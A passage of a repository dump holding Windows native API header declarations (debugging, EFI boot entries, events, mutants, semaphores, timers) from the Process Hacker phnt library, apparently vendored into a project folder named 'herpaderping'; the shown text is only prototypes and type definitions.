Status\n );\n\n#define DBG_STATUS_CONTROL_C 1\n#define DBG_STATUS_SYSRQ 2\n#define DBG_STATUS_BUGCHECK_FIRST 3\n#define DBG_STATUS_BUGCHECK_SECOND 4\n#define DBG_STATUS_FATAL 5\n#define DBG_STATUS_DEBUG_CONTROL 6\n#define DBG_STATUS_WORKER 7\n\nNTSYSAPI\nULONG\nSTDAPIVCALLTYPE\nDbgPrint(\n _In_z_ _Printf_format_string_ PSTR Format,\n ...\n );\n\nNTSYSAPI\nULONG\nSTDAPIVCALLTYPE\nDbgPrintEx(\n _In_ ULONG ComponentId,\n _In_ ULONG Level,\n _In_z_ _Printf_format_string_ PSTR Format,\n ...\n );\n\nNTSYSAPI\nULONG\nNTAPI\nvDbgPrintEx(\n _In_ ULONG ComponentId,\n _In_ ULONG Level,\n _In_z_ PCH Format,\n _In_ va_list arglist\n );\n\nNTSYSAPI\nULONG\nNTAPI\nvDbgPrintExWithPrefix(\n _In_z_ PCH Prefix,\n _In_ ULONG ComponentId,\n _In_ ULONG Level,\n _In_z_ PCH Format,\n _In_ va_list arglist\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgQueryDebugFilterState(\n _In_ ULONG ComponentId,\n _In_ ULONG Level\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgSetDebugFilterState(\n _In_ ULONG ComponentId,\n _In_ ULONG Level,\n _In_ BOOLEAN State\n );\n\nNTSYSAPI\nULONG\nNTAPI\nDbgPrompt(\n _In_ PCH Prompt,\n _Out_writes_bytes_(Length) PCH Response,\n _In_ ULONG Length\n );\n\n// Definitions\n\ntypedef struct _DBGKM_EXCEPTION\n{\n EXCEPTION_RECORD ExceptionRecord;\n ULONG FirstChance;\n} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION;\n\ntypedef struct _DBGKM_CREATE_THREAD\n{\n ULONG SubSystemKey;\n PVOID StartAddress;\n} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD;\n\ntypedef struct _DBGKM_CREATE_PROCESS\n{\n ULONG SubSystemKey;\n HANDLE FileHandle;\n PVOID BaseOfImage;\n ULONG DebugInfoFileOffset;\n ULONG DebugInfoSize;\n DBGKM_CREATE_THREAD InitialThread;\n} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS;\n\ntypedef struct _DBGKM_EXIT_THREAD\n{\n NTSTATUS ExitStatus;\n} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD;\n\ntypedef struct _DBGKM_EXIT_PROCESS\n{\n NTSTATUS ExitStatus;\n} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS;\n\ntypedef struct _DBGKM_LOAD_DLL\n{\n HANDLE FileHandle;\n PVOID BaseOfDll;\n ULONG DebugInfoFileOffset;\n ULONG DebugInfoSize;\n PVOID NamePointer;\n} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL;\n\ntypedef struct _DBGKM_UNLOAD_DLL\n{\n PVOID BaseAddress;\n} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL;\n\ntypedef enum _DBG_STATE\n{\n DbgIdle,\n DbgReplyPending,\n DbgCreateThreadStateChange,\n DbgCreateProcessStateChange,\n DbgExitThreadStateChange,\n DbgExitProcessStateChange,\n DbgExceptionStateChange,\n DbgBreakpointStateChange,\n DbgSingleStepStateChange,\n DbgLoadDllStateChange,\n DbgUnloadDllStateChange\n} DBG_STATE, *PDBG_STATE;\n\ntypedef struct _DBGUI_CREATE_THREAD\n{\n HANDLE HandleToThread;\n DBGKM_CREATE_THREAD NewThread;\n} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD;\n\ntypedef struct _DBGUI_CREATE_PROCESS\n{\n HANDLE HandleToProcess;\n HANDLE HandleToThread;\n DBGKM_CREATE_PROCESS NewProcess;\n} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS;\n\ntypedef struct _DBGUI_WAIT_STATE_CHANGE\n{\n DBG_STATE NewState;\n CLIENT_ID AppClientId;\n union\n {\n DBGKM_EXCEPTION Exception;\n DBGUI_CREATE_THREAD CreateThread;\n DBGUI_CREATE_PROCESS CreateProcessInfo;\n DBGKM_EXIT_THREAD ExitThread;\n DBGKM_EXIT_PROCESS ExitProcess;\n DBGKM_LOAD_DLL LoadDll;\n DBGKM_UNLOAD_DLL UnloadDll;\n } StateInfo;\n} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE;\n\n#define DEBUG_READ_EVENT 0x0001\n#define DEBUG_PROCESS_ASSIGN 0x0002\n#define DEBUG_SET_INFORMATION 0x0004\n#define DEBUG_QUERY_INFORMATION 0x0008\n#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \\\n DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \\\n DEBUG_QUERY_INFORMATION)\n\n#define DEBUG_KILL_ON_CLOSE 0x1\n\ntypedef enum _DEBUGOBJECTINFOCLASS\n{\n DebugObjectUnusedInformation,\n DebugObjectKillProcessOnExitInformation,\n MaxDebugObjectInfoClass\n} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS;\n\n// System calls\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateDebugObject(\n _Out_ PHANDLE DebugObjectHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDebugActiveProcess(\n _In_ HANDLE ProcessHandle,\n _In_ HANDLE DebugObjectHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDebugContinue(\n _In_ HANDLE DebugObjectHandle,\n _In_ PCLIENT_ID ClientId,\n _In_ NTSTATUS ContinueStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRemoveProcessDebug(\n _In_ HANDLE ProcessHandle,\n _In_ HANDLE DebugObjectHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationDebugObject(\n _In_ HANDLE DebugObjectHandle,\n _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass,\n _In_ PVOID DebugInformation,\n _In_ ULONG DebugInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForDebugEvent(\n _In_ HANDLE DebugObjectHandle,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout,\n _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange\n );\n\n// Debugging UI\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiConnectToDbg(\n VOID\n );\n\nNTSYSAPI\nHANDLE\nNTAPI\nDbgUiGetThreadDebugObject(\n VOID\n );\n\nNTSYSAPI\nVOID\nNTAPI\nDbgUiSetThreadDebugObject(\n _In_ HANDLE DebugObject\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiWaitStateChange(\n _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiContinue(\n _In_ PCLIENT_ID AppClientId,\n _In_ NTSTATUS ContinueStatus\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiStopDebugging(\n _In_ HANDLE Process\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiDebugActiveProcess(\n _In_ HANDLE Process\n );\n\nNTSYSAPI\nVOID\nNTAPI\nDbgUiRemoteBreakin(\n _In_ PVOID Context\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiIssueRemoteBreakin(\n _In_ HANDLE Process\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nDbgUiConvertStateChangeStructure(\n _In_ PDBGUI_WAIT_STATE_CHANGE StateChange,\n _Out_ LPDEBUG_EVENT DebugEvent\n );\n\nstruct _EVENT_FILTER_DESCRIPTOR;\n\ntypedef VOID (NTAPI *PENABLECALLBACK)(\n _In_ LPCGUID SourceId,\n _In_ ULONG IsEnabled,\n _In_ UCHAR Level,\n _In_ ULONGLONG MatchAnyKeyword,\n _In_ ULONGLONG MatchAllKeyword,\n _In_opt_ struct _EVENT_FILTER_DESCRIPTOR *FilterData,\n _Inout_opt_ PVOID CallbackContext\n );\n\ntypedef ULONGLONG REGHANDLE, *PREGHANDLE;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nEtwEventRegister(\n _In_ LPCGUID ProviderId,\n _In_opt_ PENABLECALLBACK EnableCallback,\n _In_opt_ PVOID CallbackContext,\n _Out_ PREGHANDLE RegHandle\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntexapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTEXAPI_H\n#define _NTEXAPI_H\n\n#include \n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// Thread execution\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDelayExecution(\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER DelayInterval\n );\n\n// Environment values\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySystemEnvironmentValue(\n _In_ PUNICODE_STRING VariableName,\n _Out_writes_bytes_(ValueLength) PWSTR VariableValue,\n _In_ USHORT ValueLength,\n _Out_opt_ PUSHORT ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetSystemEnvironmentValue(\n _In_ PUNICODE_STRING VariableName,\n _In_ PUNICODE_STRING VariableValue\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySystemEnvironmentValueEx(\n _In_ PUNICODE_STRING VariableName,\n _In_ LPGUID VendorGuid,\n _Out_writes_bytes_opt_(*ValueLength) PVOID Value,\n _Inout_ PULONG ValueLength,\n _Out_opt_ PULONG Attributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetSystemEnvironmentValueEx(\n _In_ PUNICODE_STRING VariableName,\n _In_ LPGUID VendorGuid,\n _In_reads_bytes_opt_(ValueLength) PVOID Value,\n _In_ ULONG ValueLength,\n _In_ ULONG Attributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnumerateSystemEnvironmentValuesEx(\n _In_ ULONG InformationClass,\n _Out_ PVOID Buffer,\n _Inout_ PULONG BufferLength\n );\n\n// EFI\n\n// private\ntypedef struct _BOOT_ENTRY\n{\n ULONG Version;\n ULONG Length;\n ULONG Id;\n ULONG Attributes;\n ULONG FriendlyNameOffset;\n ULONG BootFilePathOffset;\n ULONG OsOptionsLength;\n UCHAR OsOptions[1];\n} BOOT_ENTRY, *PBOOT_ENTRY;\n\n// private\ntypedef struct _BOOT_ENTRY_LIST\n{\n ULONG NextEntryOffset;\n BOOT_ENTRY BootEntry;\n} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST;\n\n// private\ntypedef struct _BOOT_OPTIONS\n{\n ULONG Version;\n ULONG Length;\n ULONG Timeout;\n ULONG CurrentBootEntryId;\n ULONG NextBootEntryId;\n WCHAR HeadlessRedirection[1];\n} BOOT_OPTIONS, *PBOOT_OPTIONS;\n\n// private\ntypedef struct _FILE_PATH\n{\n ULONG Version;\n ULONG Length;\n ULONG Type;\n UCHAR FilePath[1];\n} FILE_PATH, *PFILE_PATH;\n\n// private\ntypedef struct _EFI_DRIVER_ENTRY\n{\n ULONG Version;\n ULONG Length;\n ULONG Id;\n ULONG FriendlyNameOffset;\n ULONG DriverFilePathOffset;\n} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY;\n\n// private\ntypedef struct _EFI_DRIVER_ENTRY_LIST\n{\n ULONG NextEntryOffset;\n EFI_DRIVER_ENTRY DriverEntry;\n} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAddBootEntry(\n _In_ PBOOT_ENTRY BootEntry,\n _Out_opt_ PULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteBootEntry(\n _In_ ULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtModifyBootEntry(\n _In_ PBOOT_ENTRY BootEntry\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnumerateBootEntries(\n _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryBootEntryOrder(\n _Out_writes_opt_(*Count) PULONG Ids,\n _Inout_ PULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetBootEntryOrder(\n _In_reads_(Count) PULONG Ids,\n _In_ ULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryBootOptions(\n _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions,\n _Inout_ PULONG BootOptionsLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetBootOptions(\n _In_ PBOOT_OPTIONS BootOptions,\n _In_ ULONG FieldsToChange\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTranslateFilePath(\n _In_ PFILE_PATH InputFilePath,\n _In_ ULONG OutputType,\n _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath,\n _Inout_opt_ PULONG OutputFilePathLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAddDriverEntry(\n _In_ PEFI_DRIVER_ENTRY DriverEntry,\n _Out_opt_ PULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteDriverEntry(\n _In_ ULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtModifyDriverEntry(\n _In_ PEFI_DRIVER_ENTRY DriverEntry\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnumerateDriverEntries(\n _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDriverEntryOrder(\n _Out_writes_opt_(*Count) PULONG Ids,\n _Inout_ PULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetDriverEntryOrder(\n _In_reads_(Count) PULONG Ids,\n _In_ ULONG Count\n );\n\ntypedef enum _FILTER_BOOT_OPTION_OPERATION\n{\n FilterBootOptionOperationOpenSystemStore,\n FilterBootOptionOperationSetElement,\n FilterBootOptionOperationDeleteElement,\n FilterBootOptionOperationMax\n} FILTER_BOOT_OPTION_OPERATION;\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFilterBootOption(\n _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation,\n _In_ ULONG ObjectType,\n _In_ ULONG ElementType,\n _In_reads_bytes_opt_(DataSize) PVOID Data,\n _In_ ULONG DataSize\n );\n#endif\n\n#endif\n\n// Event\n\n#ifndef EVENT_QUERY_STATE\n#define EVENT_QUERY_STATE 0x0001\n#endif\n\ntypedef enum _EVENT_INFORMATION_CLASS\n{\n EventBasicInformation\n} EVENT_INFORMATION_CLASS;\n\ntypedef struct _EVENT_BASIC_INFORMATION\n{\n EVENT_TYPE EventType;\n LONG EventState;\n} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateEvent(\n _Out_ PHANDLE EventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ EVENT_TYPE EventType,\n _In_ BOOLEAN InitialState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenEvent(\n _Out_ PHANDLE EventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetEvent(\n _In_ HANDLE EventHandle,\n _Out_opt_ PLONG PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetEventBoostPriority(\n _In_ HANDLE EventHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtClearEvent(\n _In_ HANDLE EventHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtResetEvent(\n _In_ HANDLE EventHandle,\n _Out_opt_ PLONG PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPulseEvent(\n _In_ HANDLE EventHandle,\n _Out_opt_ PLONG PreviousState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryEvent(\n _In_ HANDLE EventHandle,\n _In_ EVENT_INFORMATION_CLASS EventInformationClass,\n _Out_writes_bytes_(EventInformationLength) PVOID EventInformation,\n _In_ ULONG EventInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n// Event Pair\n\n#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateEventPair(\n _Out_ PHANDLE EventPairHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenEventPair(\n _Out_ PHANDLE EventPairHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetLowEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetHighEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitLowEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitHighEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetLowWaitHighEventPair(\n _In_ HANDLE EventPairHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetHighWaitLowEventPair(\n _In_ HANDLE EventPairHandle\n );\n\n// Mutant\n\ntypedef enum _MUTANT_INFORMATION_CLASS\n{\n MutantBasicInformation,\n MutantOwnerInformation\n} MUTANT_INFORMATION_CLASS;\n\ntypedef struct _MUTANT_BASIC_INFORMATION\n{\n LONG CurrentCount;\n BOOLEAN OwnedByCaller;\n BOOLEAN AbandonedState;\n} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION;\n\ntypedef struct _MUTANT_OWNER_INFORMATION\n{\n CLIENT_ID ClientId;\n} MUTANT_OWNER_INFORMATION, *PMUTANT_OWNER_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateMutant(\n _Out_ PHANDLE MutantHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ BOOLEAN InitialOwner\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenMutant(\n _Out_ PHANDLE MutantHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReleaseMutant(\n _In_ HANDLE MutantHandle,\n _Out_opt_ PLONG PreviousCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryMutant(\n _In_ HANDLE MutantHandle,\n _In_ MUTANT_INFORMATION_CLASS MutantInformationClass,\n _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation,\n _In_ ULONG MutantInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n// Semaphore\n\n#ifndef SEMAPHORE_QUERY_STATE\n#define SEMAPHORE_QUERY_STATE 0x0001\n#endif\n\ntypedef enum _SEMAPHORE_INFORMATION_CLASS\n{\n SemaphoreBasicInformation\n} SEMAPHORE_INFORMATION_CLASS;\n\ntypedef struct _SEMAPHORE_BASIC_INFORMATION\n{\n LONG CurrentCount;\n LONG MaximumCount;\n} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateSemaphore(\n _Out_ PHANDLE SemaphoreHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ LONG InitialCount,\n _In_ LONG MaximumCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenSemaphore(\n _Out_ PHANDLE SemaphoreHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReleaseSemaphore(\n _In_ HANDLE SemaphoreHandle,\n _In_ LONG ReleaseCount,\n _Out_opt_ PLONG PreviousCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySemaphore(\n _In_ HANDLE SemaphoreHandle,\n _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass,\n _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation,\n _In_ ULONG SemaphoreInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n// Timer\n\ntypedef enum _TIMER_INFORMATION_CLASS\n{\n TimerBasicInformation\n} TIMER_INFORMATION_CLASS;\n\ntypedef struct _TIMER_BASIC_INFORMATION\n{\n LARGE_INTEGER RemainingTime;\n BOOLEAN TimerState;\n} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION;\n\ntypedef VOID (NTAPI *PTIMER_APC_ROUTINE)(\n _In_ PVOID TimerContext,\n _In_ ULONG TimerLowValue,\n _In_ LONG TimerHighValue\n );\n\ntypedef enum _TIMER_SET_INFORMATION_CLASS\n{\n TimerSetCoalescableTimer,\n MaxTimerInfoClass\n} TIMER_SET_INFORMATION_CLASS;\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nstruct _COUNTED_REASON_CONTEXT;\n\ntypedef struct _TIMER_SET_COALESCABLE_TIMER_INFO\n{\n _In_ LARGE_INTEGER DueTime;\n _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine;\n _In_opt_ PVOID TimerContext;\n _In_opt_ struct _COUNTED_REASON_CONTEXT *WakeContext;\n _In_opt_ ULONG Period;\n _In_ ULONG TolerableDelay;\n _Out_opt_ PBOOLEAN PreviousState;\n} TIMER_SET_COALESCABLE_TIMER_INFO, *PTIMER_SET_COALESCABLE_TIMER_INFO;\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateTimer(\n _Out_ PHANDLE TimerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ TIMER_TYPE TimerType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenTimer(\n _Out_ PHANDLE TimerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetTimer(\n _In_ HANDLE TimerHandle,\n _In_ PLARGE_INTEGER DueTime,\n _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine,\n _In_opt_ PVOID TimerContext,\n _In_ BOOLEAN ResumeTimer,\n _In_opt_ LONG Period,\n _Out_opt_ PBOOLEAN PreviousState\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetTimerEx(\n _In_ HANDLE TimerHandle,\n _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass,\n _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation,\n _In_ ULONG TimerSetInformationLength\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCancelTimer(\n _In_ HANDLE TimerHandle,\n _Out_opt_ PBOOLEAN CurrentState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryTimer(\n _In_ HANDLE TimerHandle,\n _In_ TIMER_INFORMATION_CLASS TimerInformationClass,\n _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation,\n _In_ ULONG TimerInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateIRTimer(\n _Out_ PHANDLE TimerHandle,\n _In_ ACCESS_MASK DesiredAccess\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetIRTimer(\n _In_ HANDLE TimerHandle,\n _In_opt_ PLARGE_INTEGER DueTime\n );\n\n#endif\n\ntypedef struct _T2_SET_PARAMETERS_V0\n{\n ULONG Version;\n ULONG Reserved;\n LONGLONG NoWakeTolerance;\n} T2_SET_PARAMETERS, *PT2_SET_PARAMETERS;\n\ntypedef PVOID PT2_CANCEL_PARAMETERS;\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateTimer2(\n _Out_ PHANDLE TimerHandle,\n _In_opt_ PVOID Reserved1,\n _In_opt_ PVOID Reserved2,\n _In_ ULONG Attributes,\n _In_ ACCESS_MASK DesiredAccess\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetTimer2(\n _In_ HANDLE TimerHandle,\n _In_ PLARGE_INTEGER DueTime,\n _In_opt_ PLARGE_INTEGER Period,\n _In_ PT2_SET_PARAMETERS Parameters\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCancelTimer2(\n _In_ HANDLE TimerHandle,\n _In_ PT2_CANCEL_PARAMETERS Parameters\n );\n\n#endif\n\n// Profile\n\n#define PROFILE_CONTROL 0x0001\n#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateProfile(\n _Out_ PHANDLE ProfileHandle,\n _In_opt_ HANDLE Process,\n _In_ PVOID ProfileBase,\n _In_ SIZE_T ProfileSize,\n _In_ ULONG BucketSize,\n _In_reads_bytes_(BufferSize) PULONG Buffer,\n _In_ ULONG BufferSize,\n _In_ KPROFILE_SOURCE ProfileSource,\n _In_ KAFFINITY Affinity\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateProfileEx(\n _Out_ PHANDLE ProfileHandle,\n _In_opt_ HANDLE Process,\n _In_ PVOID ProfileBase,\n _In_ SIZE_T ProfileSize,\n _In_ ULONG BucketSize,\n _In_reads_bytes_(BufferSize) PULONG Buffer,\n _In_ ULONG BufferSize,\n _In_ KPROFILE_SOURCE ProfileSource,\n _In_ USHORT GroupCount,\n _In_reads_(GroupCount) PGROUP_AFFINITY GroupAffinity\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtStartProfile(\n _In_ HANDLE ProfileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtStopProfile(\n _In_ HANDLE ProfileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryIntervalProfile(\n _In_ KPROFILE_SOURCE ProfileSource,\n _Out_ PULONG Interval\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetIntervalProfile(\n _In_ ULONG Interval,\n _In_ KPROFILE_SOURCE Source\n );\n\n// Keyed Event\n\n#define KEYEDEVENT_WAIT 0x0001\n#define KEYEDEVENT_WAKE 0x0002\n#define KEYEDEVENT_ALL_ACCESS \\\n (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateKeyedEvent(\n _Out_ PHANDLE KeyedEventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenKeyedEvent(\n _Out_ PHANDLE KeyedEventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReleaseKeyedEvent(\n _In_ HANDLE KeyedEventHandle,\n _In_ PVOID KeyValue,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n 